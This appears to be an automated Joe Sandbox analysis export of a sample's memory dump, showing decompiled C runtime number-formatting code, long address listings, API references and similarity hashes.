													_t518 =  *(_t701 - 0x2fc);
												}
												goto L229;
											}
											L220:
											__eflags =  *(_t701 - 0x25c) - 7;
											if( *(_t701 - 0x25c) == 7) {
												goto L222;
											}
											L221:
											 *(_t701 - 0x334) = 0;
											goto L223;
										}
									}
									L187:
									__eflags =  *(_t701 - 0x24);
									if( *(_t701 - 0x24) == 0) {
										L189:
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
										_t639 =  *(_t701 - 0x24) + 1;
										__eflags = _t639;
										 *(_t701 - 0x24) = _t639;
										goto L190;
									}
									L188:
									__eflags =  *((char*)( *((intOrPtr*)(_t701 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t701 - 4)))) == 0x30) {
										goto L190;
									}
									goto L189;
								}
								L183:
								asm("cdq");
								_t658 =  *(_t701 - 0x2c0);
								 *(_t701 - 0x2ac) = E00430630(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
								asm("cdq");
								 *(_t701 - 0x2c0) = E004306B0( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
								 *(_t701 - 0x2bc) = _t658;
								__eflags =  *(_t701 - 0x2ac) - 0x39;
								if( *(_t701 - 0x2ac) > 0x39) {
									_t662 =  *(_t701 - 0x2ac) +  *((intOrPtr*)(_t701 - 0x260));
									__eflags = _t662;
									 *(_t701 - 0x2ac) = _t662;
								}
								 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *(_t701 - 0x2ac);
								 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								goto L182;
							}
						}
						L168:
						__eflags =  *(_t701 - 0x2b8);
						if( *(_t701 - 0x2b8) >= 0) {
							goto L170;
						}
						goto L169;
						L170:
						 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
						 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
						goto L171;
					}
				}
			}

0x00434e8c
0x00434e8c
0x00434e8c
0x00434e8c
0x00434e8c
0x00434e8c
0x00434e8c
0x00434e9c
0x00434e9e
0x00434ea1
0x00434ea1
0x00434ea7
0x00434ea7
0x00434eaa
0x00434eaa
0x00434ead
0x00434eb2
0x00434ed4
0x00434ed4
0x00434eda
0x00434efc
0x00434eff
0x00434f46
0x00434f46
0x00434f49
0x00434f6a
0x00434f6f
0x00434f72
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4f
0x00434f54
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f04
0x00434f07
0x00434f29
0x00434f2e
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f0d
0x00434f12
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434ee0
0x00434ee5
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb8
0x00434ebd
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f83
0x00434f86
0x00000000
0x00000000
0x00434f88
0x00434f88
0x00434f8f
0x00000000
0x00000000
0x00434f91
0x00434f91
0x00434f9c
0x00434faa
0x00434faf
0x00434fb5
0x00434fc3
0x00434fe0
0x00434fe3
0x00434fe8
0x00434fed
0x00434ff3
0x00435001
0x00435001
0x0043500a
0x0043500a
0x00434ff3
0x00435010
0x00435014
0x00435025
0x00435028
0x0043502f
0x00435031
0x00435031
0x00435016
0x00435016
0x00435016
0x0043503e
0x00435044
0x00435046
0x00435046
0x00435050
0x00435053
0x00435053
0x00435059
0x0043505c
0x0043505f
0x00435061
0x00000000
0x00000000
0x00435063
0x00435069
0x0043506f
0x004350ec
0x004350f2
0x004350fb
0x00435101
0x00435107
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x0043513c
0x0043513f
0x00435142
0x00435147
0x0043514c
0x0043515e
0x00435161
0x00435173
0x00435176
0x00435178
0x0043517c
0x0043517c
0x00435163
0x00435163
0x00435167
0x00435167
0x0043514e
0x0043514e
0x00435152
0x00435152
0x0043514c
0x0043518c
0x00435195
0x00435198
0x004351ae
0x004351b3
0x004351b3
0x004351c9
0x004351ce
0x004351d4
0x004351d7
0x004351dc
0x004351df
0x004351f5
0x004351fa
0x004351fa
0x004351df
0x004351fd
0x00435201
0x004352d5
0x004352e8
0x004352ed
0x00000000
0x00435207
0x00435207
0x00435207
0x0043520b
0x00000000
0x00000000
0x00435211
0x00435211
0x0043521e
0x00435227
0x0043522d
0x0043522d
0x0043523c
0x00435242
0x00435244
0x00000000
0x00000000
0x0043524a
0x00435253
0x00435272
0x00435277
0x0043527a
0x00435289
0x0043528f
0x00435296
0x004352a1
0x004352a1
0x00000000
0x004352a1
0x00435298
0x00435298
0x0043529f
0x004352ad
0x004352c6
0x004352cb
0x00000000
0x004352cb
0x00000000
0x0043529f
0x004352d3
0x004352f0
0x004352f0
0x004352f7
0x004352fc
0x004352ff
0x00435315
0x0043531a
0x0043531a
0x004352ff
0x004352f7
0x0043531d
0x0043531d
0x00435321
0x00435329
0x0043532e
0x00435331
0x00435331
0x00435338
0x00435338
0x0043440f
0x00434415
0x00434422
0x00434427
0x00000000
0x0043443a
0x00434444
0x0043446b
0x00434452
0x00434463
0x00434463
0x00434444
0x00434475
0x0043447b
0x00434487
0x0043448a
0x00434498
0x0043449b
0x004344a8
0x0043454d
0x00434553
0x00434559
0x00434560
0x00000000
0x00000000
0x00434566
0x0043456c
0x00000000
0x00434573
0x00434573
0x0043458b
0x00434590
0x00434593
0x00434595
0x0043464f
0x00434662
0x00434667
0x00000000
0x0043459b
0x004345ae
0x004345b3
0x004345b9
0x004345bb
0x004345c4
0x004345c4
0x004345c7
0x004345d3
0x004345d7
0x004345dd
0x004345df
0x004345e4
0x004345e6
0x004345eb
0x004345f0
0x004345f2
0x004345f7
0x004345fa
0x004345fd
0x004345ff
0x004345ff
0x004345fd
0x00434600
0x00434600
0x00434607
0x00000000
0x00434609
0x0043460e
0x0043462a
0x00434632
0x0043463f
0x00434644
0x00000000
0x00434644
0x00434607
0x00000000
0x0043466f
0x0043466f
0x00434676
0x00434679
0x0043467c
0x0043467f
0x00434682
0x00434685
0x00434688
0x0043468f
0x00434696
0x00000000
0x00000000
0x004346a2
0x004346a2
0x004346a9
0x004346b5
0x004346b8
0x004346be
0x004346c5
0x00000000
0x00000000
0x004346c7
0x004346c7
0x004346cd
0x004346cd
0x004346d4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434717
0x00434717
0x0043471e
0x00434721
0x0043474b
0x0043474e
0x0043474e
0x00434751
0x00434758
0x00434758
0x0043475c
0x00434723
0x00434723
0x0043472f
0x00434732
0x00434736
0x00434738
0x0043473b
0x0043473b
0x0043473e
0x00434744
0x00434746
0x00434746
0x00434749
0x00000000
0x00000000
0x00434764
0x00434764
0x00000000
0x00000000
0x00434770
0x00434770
0x00434777
0x0043477a
0x0043479a
0x0043479d
0x0043479d
0x004347a7
0x004347a7
0x004347ab
0x0043477c
0x0043477c
0x00434788
0x0043478b
0x0043478f
0x00434791
0x00434791
0x00434798
0x00000000
0x00000000
0x004347b3
0x004347b3
0x004347ba
0x004347c6
0x004347c9
0x004347cf
0x004347d6
0x004348e9
0x00000000
0x004348e9
0x004347dc
0x004347dc
0x004347e2
0x004347e2
0x004347e9
0x00000000
0x0043481f
0x0043481f
0x00434822
0x00434825
0x00434828
0x00434850
0x00434850
0x00434853
0x00434856
0x00434859
0x0043487e
0x0043487e
0x00434881
0x00434884
0x00434887
0x004348c0
0x004348d1
0x00000000
0x004348d1
0x00434889
0x00434889
0x0043488c
0x0043488f
0x00434892
0x00000000
0x00000000
0x00434894
0x00434894
0x00434897
0x0043489a
0x0043489d
0x00000000
0x00000000
0x0043489f
0x0043489f
0x004348a2
0x004348a5
0x004348a8
0x00000000
0x00000000
0x004348aa
0x004348aa
0x004348ad
0x004348b0
0x004348b3
0x00000000
0x00000000
0x004348b5
0x004348b5
0x004348b8
0x004348bb
0x004348be
0x004348c2
0x00000000
0x004348c2
0x00000000
0x004348be
0x0043485b
0x0043485b
0x0043485e
0x00434862
0x00434865
0x00000000
0x00434867
0x0043486a
0x0043486d
0x00434870
0x00434873
0x00434879
0x00000000
0x00434879
0x00434865
0x0043482a
0x0043482a
0x0043482d
0x00434831
0x00434834
0x00000000
0x00434836
0x00434839
0x0043483c
0x0043483f
0x00434842
0x00434848
0x00000000
0x00434848
0x00000000
0x004348d3
0x004348d6
0x004348d9
0x00000000
0x00000000
0x004347f0
0x004347f0
0x004347f3
0x004347f6
0x004347f9
0x00434811
0x00434814
0x00434814
0x00434817
0x004347fb
0x004347fe
0x00434801
0x00434807
0x0043480c
0x0043480c
0x00000000
0x00000000
0x004348de
0x004348de
0x004348e1
0x004348e1
0x004348e6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004348ee
0x004348ee
0x004348f5
0x00434901
0x00434904
0x0043490a
0x00434911
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00435132
0x00434917
0x0043491d
0x0043491d
0x00434924
0x00000000
0x00434c7e
0x00434c7e
0x00434c85
0x00434c8c
0x00434c8c
0x00434c8f
0x00000000
0x00000000
0x0043492b
0x0043492e
0x0043492e
0x00434934
0x00434936
0x00434939
0x00434939
0x0043493e
0x0043493e
0x00000000
0x00000000
0x00434a6b
0x00434a6e
0x00434a6e
0x00434a73
0x00434a75
0x00434a78
0x00434a78
0x00434a7e
0x00434a7e
0x00000000
0x00000000
0x00434e4b
0x00434e4b
0x00000000
0x00000000
0x004349d5
0x004349d5
0x004349e1
0x004349e7
0x004349ee
0x004349fc
0x004349fc
0x00434a02
0x00434a05
0x00434a11
0x00434a66
0x00000000
0x00434a66
0x004349f0
0x004349f0
0x004349f6
0x004349fa
0x00434a16
0x00434a19
0x00434a19
0x00434a1f
0x00434a47
0x00434a4e
0x00434a54
0x00434a57
0x00434a5a
0x00434a60
0x00434a63
0x00434a21
0x00434a21
0x00434a27
0x00434a2a
0x00434a2d
0x00434a33
0x00434a36
0x00434a39
0x00434a3b
0x00434a3e
0x00434a3e
0x00000000
0x00434a1f
0x00000000
0x00000000
0x00434c95
0x00434c98
0x00434c9b
0x00434c9e
0x00434ca4
0x00434ca7
0x00434cae
0x00434cb2
0x00434cbd
0x00434cbd
0x00434cc1
0x00434cd8
0x00434cd8
0x00434cdf
0x00434ce1
0x00434ce1
0x00434ce8
0x00434ce8
0x00434cef
0x00434d00
0x00434d0f
0x00434d12
0x00434d16
0x00434d2c
0x00434d18
0x00434d18
0x00434d1b
0x00434d21
0x00434d27
0x00434d27
0x00434d16
0x00434d36
0x00434d39
0x00434d3c
0x00434d3f
0x00434d42
0x00434d45
0x00434d4b
0x00434d51
0x00434d59
0x00434d5a
0x00434d5d
0x00434d5e
0x00434d61
0x00434d62
0x00434d69
0x00434d6a
0x00434d6d
0x00434d6e
0x00434d71
0x00434d72
0x00434d78
0x00434d79
0x00434d87
0x00434d89
0x00434d8f
0x00434d8f
0x00434d95
0x00434d97
0x00434d9b
0x00434d9d
0x00434da5
0x00434da6
0x00434da9
0x00434daa
0x00434db8
0x00434dba
0x00434dba
0x00434d9b
0x00434dbd
0x00434dc4
0x00434dc7
0x00434dcc
0x00434dcc
0x00434dd2
0x00434dd4
0x00434ddc
0x00434ddd
0x00434de0
0x00434de1
0x00434df0
0x00434df2
0x00434df2
0x00434dd2
0x00434df5
0x00434df8
0x00434dfb
0x00434dfe
0x00434e03
0x00434e09
0x00434e0c
0x00434e0f
0x00434e0f
0x00434e12
0x00434e12
0x00434e15
0x00434e21
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00000000
0x00435132
0x00434cc3
0x00434cc3
0x00434cca
0x00434ccd
0x00000000
0x00000000
0x00434ccf
0x00434ccf
0x00000000
0x00434ccf
0x00434cb4
0x00434cb4
0x00000000
0x00000000
0x00434941
0x00434944
0x00434944
0x0043494a
0x004349a5
0x004349ad
0x004349b4
0x004349ba
0x004349c0
0x0043494c
0x0043494c
0x00434956
0x0043495a
0x00434962
0x00434969
0x00434976
0x0043497d
0x00434989
0x0043498f
0x00434996
0x00434998
0x00434998
0x0043499f
0x004349c7
0x004349cd
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00000000
0x00434e29
0x00434e2c
0x00434e2f
0x00434e32
0x00434eaa
0x00434ead
0x00434eb2
0x00434ed4
0x00434ed4
0x00434eda
0x00434efc
0x00434eff
0x00434f46
0x00434f46
0x00434f49
0x00434f6a
0x00434f6f
0x00434f72
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4f
0x00434f54
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f04
0x00434f07
0x00434f29
0x00434f2e
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f0d
0x00434f12
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434ee0
0x00434ee5
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb8
0x00434ebd
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f83
0x00434f86
0x00000000
0x00000000
0x00000000
0x00434b87
0x00434b87
0x00434b93
0x00434b99
0x00434b9e
0x00434ba0
0x00434c4a
0x00434c4d
0x00434c4d
0x00434c50
0x00434c64
0x00434c6a
0x00434c70
0x00434c52
0x00434c52
0x00434c5f
0x00434c5f
0x00434c72
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00435132
0x00434ba6
0x00434ba6
0x00434ba6
0x00434ba8
0x00434bb6
0x00434baa
0x00434baa
0x00434baa
0x00434bc0
0x00434bc6
0x00434bcc
0x00434bd3
0x00434bd5
0x00434bda
0x00434bdc
0x00434be1
0x00434be6
0x00434be8
0x00434bed
0x00434bf0
0x00434bf3
0x00434bf5
0x00434bf5
0x00434bf3
0x00434bf6
0x00434bfd
0x00434c45
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00434bff
0x00434bff
0x00434c04
0x00434c20
0x00434c28
0x00434c32
0x00434c35
0x00434c3a
0x00000000
0x00434c3a
0x00000000
0x00000000
0x00000000
0x00434e44
0x00434e44
0x00000000
0x00000000
0x00434a81
0x00434a81
0x00434a85
0x00434a93
0x00434a96
0x00434a87
0x00434a87
0x00434a87
0x00434a9c
0x00434aa2
0x00434aa8
0x00434ab4
0x00434aba
0x00434aba
0x00434ac0
0x00434b27
0x00434b27
0x00434b2b
0x00434b2d
0x00434b33
0x00434b33
0x00434b36
0x00434b39
0x00434b3f
0x00434b3f
0x00434b3f
0x00434b4b
0x00434b4e
0x00434b54
0x00434b56
0x00000000
0x00000000
0x00434b58
0x00434b58
0x00434b5e
0x00434b61
0x00434b63
0x00000000
0x00000000
0x00434b65
0x00434b6b
0x00434b6e
0x00434b6e
0x00434b76
0x00434b76
0x00434b7c
0x00434b7c
0x00434b7f
0x00000000
0x00434ac2
0x00434ac2
0x00434ac2
0x00434ac6
0x00434ac8
0x00434acd
0x00434acd
0x00434ad0
0x00434ad7
0x00434ada
0x00434ae0
0x00434ae0
0x00434ae0
0x00434aec
0x00434aef
0x00434af5
0x00434af7
0x00000000
0x00000000
0x00434af9
0x00434af9
0x00434aff
0x00434b02
0x00434b04
0x00000000
0x00000000
0x00434b06
0x00434b0c
0x00434b0f
0x00434b0f
0x00434b17
0x00434b1d
0x00434b20
0x00434b22
0x00434b82
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00435132
0x00000000
0x00434e3b
0x00434e3b
0x00434eaa
0x00434eaa
0x00434ead
0x00434eb2
0x00434ed4
0x00434ed4
0x00434eda
0x00434efc
0x00434eff
0x00434f46
0x00434f46
0x00434f49
0x00434f6a
0x00434f6f
0x00434f72
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4f
0x00434f54
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f04
0x00434f07
0x00434f29
0x00434f2e
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f0d
0x00434f12
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434ee0
0x00434ee5
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb8
0x00434ebd
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f83
0x00434f86
0x00000000
0x00000000
0x00000000
0x00434f86
0x00000000
0x00434e57
0x00434e57
0x00434e61
0x00434e61
0x00434e6b
0x00434e6b
0x00434e71
0x00434e73
0x00434e7d
0x00434e7d
0x00434e80
0x00434e83
0x00434e83
0x00434eaa
0x00434eaa
0x00434ead
0x00434eb2
0x00434ed4
0x00434ed4
0x00434eda
0x00434efc
0x00434eff
0x00434f46
0x00434f46
0x00434f49
0x00434f6a
0x00434f6f
0x00434f72
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4f
0x00434f54
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f04
0x00434f07
0x00434f29
0x00434f2e
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f0d
0x00434f12
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434ee0
0x00434ee5
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb8
0x00434ebd
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f83
0x00434f86
0x00000000
0x00000000
0x00000000
0x00434f86
0x00000000
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00000000
0x00000000
0x004346f1
0x004346f4
0x004346f7
0x00000000
0x00000000
0x004346fc
0x004346ff
0x00434704
0x00000000
0x00000000
0x004346e6
0x004346e6
0x004346e9
0x004346ec
0x00000000
0x00000000
0x004346db
0x004346de
0x004346e1
0x00000000
0x00000000
0x00434709
0x00434709
0x0043470c
0x0043470c
0x0043470f
0x00000000
0x00000000
0x00434712
0x00000000
0x00000000
0x004344ae
0x004344b0
0x004344be
0x004344b2
0x004344b2
0x004344b2
0x004344c8
0x004344ce
0x004344db
0x004344dd
0x004344e2
0x004344e4
0x004344e9
0x004344ee
0x004344f0
0x004344f5
0x004344fb
0x004344fd
0x004344fd
0x004344fb
0x004344fe
0x00434505
0x00000000
0x00434507
0x0043450c
0x00434528
0x00434530
0x0043453d
0x00434542
0x00435401
0x0043540e
0x0043540e
0x00434505
0x004344a8
0x0043533d
0x0043533d
0x00435344
0x0043535b
0x0043535b
0x00435365
0x00435365
0x0043536b
0x00435371
0x00435378
0x0043537a
0x0043537f
0x00435381
0x00435386
0x0043538b
0x0043538d
0x00435392
0x00435395
0x00435398
0x0043539a
0x0043539a
0x00435398
0x0043539b
0x004353a2
0x004353ed
0x004353f6
0x004353fb
0x004353a4
0x004353a9
0x004353c5
0x004353cd
0x004353da
0x004353df
0x004353df
0x00000000
0x004353a2
0x00435346
0x00435346
0x0043534d
0x00000000
0x00000000
0x0043534f
0x0043534f
0x00000000
0x0043534f
0x00435132
0x00435109
0x00435109
0x0043510d
0x0043511a
0x00435120
0x00435126
0x0043512c
0x0043512c
0x0043512f
0x00000000
0x0043512f
0x0043510f
0x00435115
0x00435118
0x00000000
0x00000000
0x00000000
0x00435118
0x00435071
0x00435074
0x0043507e
0x0043508d
0x00435096
0x004350ac
0x004350b2
0x004350b8
0x004350bf
0x004350c7
0x004350c7
0x004350cd
0x004350cd
0x004350dc
0x004350e4
0x00435053
0x00435059
0x0043505c
0x0043505f
0x00435061
0x00000000
0x00000000
0x00000000
0x00435061
0x00435053
0x00434f93
0x00434f93
0x00434f9a
0x00000000
0x00000000
0x00000000
0x00434fc8
0x00434fce
0x00434fda
0x00000000
0x00434fda
0x00434eaa

APIs

_get_int64_arg.LIBCMTD ref: 00434EB8
__aullrem.LIBCMT ref: 00435085
__aulldiv.LIBCMT ref: 004350A7

Strings

9, xrefs: 004350B8

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction ID: b21ad6a9bd0b17853bb280ba9354bfa319b5ac3b5c2b0fb6e86e430faa9d0455
Opcode Fuzzy Hash: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction Fuzzy Hash: 6441F471D15628DFEB24CF59C899BEEB7B5FB88300F24959AD009A7244C7396E80CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0043C2A4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0043C2A4(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				signed int _t539;
				signed int _t552;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t613;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t636;
				signed int _t644;
				signed int _t671;
				intOrPtr _t672;
				intOrPtr _t673;
				signed int _t674;
				void* _t676;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t565 = __ebx;
					 *(_t674 - 8) = 8;
					if(( *(_t674 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L150:
						__eflags =  *(_t674 - 0x10) & 0x00008000;
						if(( *(_t674 - 0x10) & 0x00008000) == 0) {
							_t623 =  *(_t674 - 0x10) & 0x00001000;
							__eflags = _t623;
							if(_t623 == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00000020;
								if(( *(_t674 - 0x10) & 0x00000020) == 0) {
									_t625 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t625;
									if(_t625 == 0) {
										_t483 = E00428200(_t674 + 0x14);
										_t676 = _t676 + 4;
										__eflags = 0;
										 *(_t674 - 0x4a0) = _t483;
										 *(_t674 - 0x49c) = 0;
									} else {
										_t556 = E00428200(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t556;
										 *(_t674 - 0x49c) = _t625;
									}
								} else {
									_t671 =  *(_t674 - 0x10) & 0x00000040;
									__eflags = _t671;
									if(_t671 == 0) {
										_t557 = E00428200(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
										 *(_t674 - 0x49c) = _t671;
									} else {
										_t560 = E00428200(_t674 + 0x14);
										_t676 = _t676 + 4;
										asm("cdq");
										 *(_t674 - 0x4a0) = _t560;
										 *(_t674 - 0x49c) = _t671;
									}
								}
							} else {
								_t563 = E00428220(_t674 + 0x14);
								_t676 = _t676 + 4;
								 *(_t674 - 0x4a0) = _t563;
								 *(_t674 - 0x49c) = _t623;
							}
						} else {
							_t564 = E00428220(_t674 + 0x14);
							_t676 = _t676 + 4;
							 *(_t674 - 0x4a0) = _t564;
							 *(_t674 - 0x49c) = _t621;
						}
						__eflags =  *(_t674 - 0x10) & 0x00000040;
						if(( *(_t674 - 0x10) & 0x00000040) == 0) {
							goto L167;
						}
						L163:
						__eflags =  *(_t674 - 0x49c);
						if(__eflags > 0) {
							goto L167;
						}
						L164:
						if(__eflags < 0) {
							L166:
							asm("adc edx, 0x0");
							 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
							 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
							 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
							L168:
							__eflags =  *(_t674 - 0x10) & 0x00008000;
							if(( *(_t674 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t674 - 0x10) & 0x00001000;
								if(( *(_t674 - 0x10) & 0x00001000) == 0) {
									_t552 =  *(_t674 - 0x4a4) & 0x00000000;
									__eflags = _t552;
									 *(_t674 - 0x4a4) = _t552;
								}
							}
							__eflags =  *(_t674 - 0x30);
							if( *(_t674 - 0x30) >= 0) {
								 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
								__eflags =  *(_t674 - 0x30) - 0x200;
								if( *(_t674 - 0x30) > 0x200) {
									 *(_t674 - 0x30) = 0x200;
								}
							} else {
								 *(_t674 - 0x30) = 1;
							}
							__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
							if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
								 *(_t674 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
							while(1) {
								L178:
								_t631 =  *(_t674 - 0x30) - 1;
								 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
								__eflags =  *(_t674 - 0x30);
								if( *(_t674 - 0x30) > 0) {
									goto L180;
								}
								L179:
								__eflags =  *(_t674 - 0x4a8) |  *(_t674 - 0x4a4);
								if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
									L183:
									 *(_t674 - 0x24) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
									 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
									__eflags =  *(_t674 - 0x10) & 0x00000200;
									if(( *(_t674 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L187:
											__eflags =  *(_t674 - 0x28);
											if( *(_t674 - 0x28) != 0) {
												goto L212;
											}
											L188:
											__eflags =  *(_t674 - 0x10) & 0x00000040;
											if(( *(_t674 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000100;
												if(( *(_t674 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000001;
													if(( *(_t674 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t674 - 0x10) & 0x00000002;
														if(( *(_t674 - 0x10) & 0x00000002) != 0) {
															 *((short*)(_t674 - 0x14)) = 0x20;
															 *(_t674 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t674 - 0x14)) = 0x2b;
														 *(_t674 - 0x1c) = 1;
													}
												} else {
													 *((short*)(_t674 - 0x14)) = 0x2d;
													 *(_t674 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *(_t674 - 0x24) -  *(_t674 - 0x1c);
											__eflags =  *(_t674 - 0x10) & 0x0000000c;
											if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
												E0043C990(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
											}
											E0043C9D0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
											_t676 = _t676 + 0x10;
											__eflags =  *(_t674 - 0x10) & 0x00000008;
											if(( *(_t674 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t674 - 0x10) & 0x00000004;
												if(( *(_t674 - 0x10) & 0x00000004) == 0) {
													E0043C990(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
													_t676 = _t676 + 0x10;
												}
											}
											__eflags =  *(_t674 - 0xc);
											if( *(_t674 - 0xc) != 0) {
												L208:
												E0043C9D0( *(_t674 - 0x24),  *((intOrPtr*)(_t674 - 4)),  *(_t674 - 0x24),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
												goto L209;
											} else {
												L201:
												__eflags =  *(_t674 - 0x24);
												if( *(_t674 - 0x24) <= 0) {
													goto L208;
												}
												L202:
												 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
												 *(_t674 - 0x4b4) =  *(_t674 - 0x24);
												while(1) {
													L203:
													 *(_t674 - 0x4b4) =  *(_t674 - 0x4b4) - 1;
													__eflags =  *(_t674 - 0x4b4);
													if( *(_t674 - 0x4b4) <= 0) {
														break;
													}
													L204:
													_t535 = E0041ACF0(_t674 - 0x40);
													_t539 = E0043B430(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041ACF0(_t674 - 0x40))) + 0xac)), _t535);
													_t676 = _t676 + 0x10;
